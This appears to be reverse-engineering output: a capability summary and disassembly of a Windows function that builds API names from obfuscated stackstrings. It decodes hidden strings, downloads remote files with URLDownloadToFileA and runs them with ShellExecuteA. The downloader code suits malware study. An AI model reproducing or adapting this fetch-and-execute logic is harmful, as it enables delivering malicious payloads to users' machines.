Function at 0x401380
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get ntdll base address
Get number of processors
Terminate process

Disassembly:
sub esp, 0x44
mov al, 0x75
push ebx
mov byte [esp + 0xc], al
mov byte [esp + 0x2d], al
lea eax, [esp + 0x18]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dl, 0x68
mov bl, 0x6c
mov cl, 0x2e
push eax
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], 0x65
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x33
mov byte [esp + 0x26], 0x32
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], 0x64
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x6f
mov byte [esp + 0x19], 0x6e
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0
mov byte [esp + 0x2c], 0x53
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0x45
mov byte [esp + 0x32], 0x78
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], 0x63
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x65
mov byte [esp + 0x38], 0x41
mov byte [esp + 0x39], 0
call esi
lea ecx, [esp + 0x10]
mov dword [0x407a20], eax
push ecx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x407a1c], eax
mov eax, dword [0x407a20]
lea edx, [esp + 0x28]
push edx
push eax
call esi
mov edx, dword [0x407a1c]
lea ecx, [esp + 0x38]
mov dword [0x407a30], eax
mov byte [esp + 0x38], 0x55
mov byte [esp + 0x39], 0x52
mov byte [esp + 0x3a], 0x4c
mov byte [esp + 0x3b], 0x44
mov byte [esp + 0x3c], 0x6f
mov byte [esp + 0x3d], 0x77
mov byte [esp + 0x3e], 0x6e
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x64
mov byte [esp + 0x43], 0x54
mov byte [esp + 0x44], 0x6f
mov byte [esp + 0x45], 0x46
mov byte [esp + 0x46], 0x69
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x65
mov byte [esp + 0x49], 0x41
mov byte [esp + 0x4a], 0
push ecx
push edx
call esi
push 0
push 0
push str.47zPtbi0AnCaY
mov dword [0x407a2c], eax
mov byte [esp + 0x14], 0x6f
mov byte [esp + 0x15], 0x70
mov byte [esp + 0x16], 0x65
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x18], 0
call fcn.004012b0
add esp, 4
push eax
push str.Dvr69rzPzwwP_Q8Ltba00PoP9s_nEQUNEs0urnPtbi0AnCaY
call fcn.004012b0
add esp, 4
push eax
push 0
call dword [0x407a2c]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
push 5
push 0
push 0
push str.47zPtbi0AnCaY
call fcn.004012b0
add esp, 4
push eax
lea eax, [esp + 0x18]
push eax
push 0
call dword [0x407a30]
push 0xa
call esi
push 0
push 0
push str.47zP2RANv3WEgX9CfTQChISpg
call fcn.004012b0
add esp, 4
push eax
push str.Dvr69rzPzwwP_Q8Ltba00PoP9s_nEQUNEs0urnP2RANv3WEgX9CfTQv76pg
call fcn.004012b0
add esp, 4
push eax
push 0
call dword [0x407a2c]
push 0xa
call esi
push 0
push 0
push 0x407450
call fcn.004012b0
add esp, 4
push eax
push 0x407324
call fcn.004012b0
add esp, 4
push eax
push 0
call dword [0x407a2c]
push 0xa
call esi
push 5
push 0
push 0
push 0x407450
call fcn.004012b0
add esp, 4
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
call dword [0x407a30]
push 0xa
call esi
push 0
push 0
push str.pg
call fcn.004012b0
add esp, 4
push eax
push 0x407482
call fcn.004012b0
add esp, 4
push eax
push 0
call dword [0x407a2c]
push 0xa
call esi
push 5
push 0
push 0
push str.pg
call fcn.004012b0
add esp, 4
lea edx, [esp + 0x14]
push eax
push edx
push 0
call dword [0x407a30]
push 0xa
call esi
push 0
push 0
push str.47zPCA0SCfPQCf4Jpg
call fcn.004012b0
add esp, 4
push eax
push str.Dvr69rzPzwwP_Q8Ltba00PoP9s_nEQUNEs0urnPCA0SCfPQCf4Jpg
call fcn.004012b0
add esp, 4
push eax
push 0
call dword [0x407a2c]
push 0xa
call esi
push 5
push 0
push 0
push str.47zPCA0SCfPQCf4Jpg
call fcn.004012b0
add esp, 4
push eax
lea eax, [esp + 0x18]
push eax
push 0
call dword [0x407a30]
push 0xa
call esi
push 0x64
call esi
push 0x10
push 0x407748
push 0x407740
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]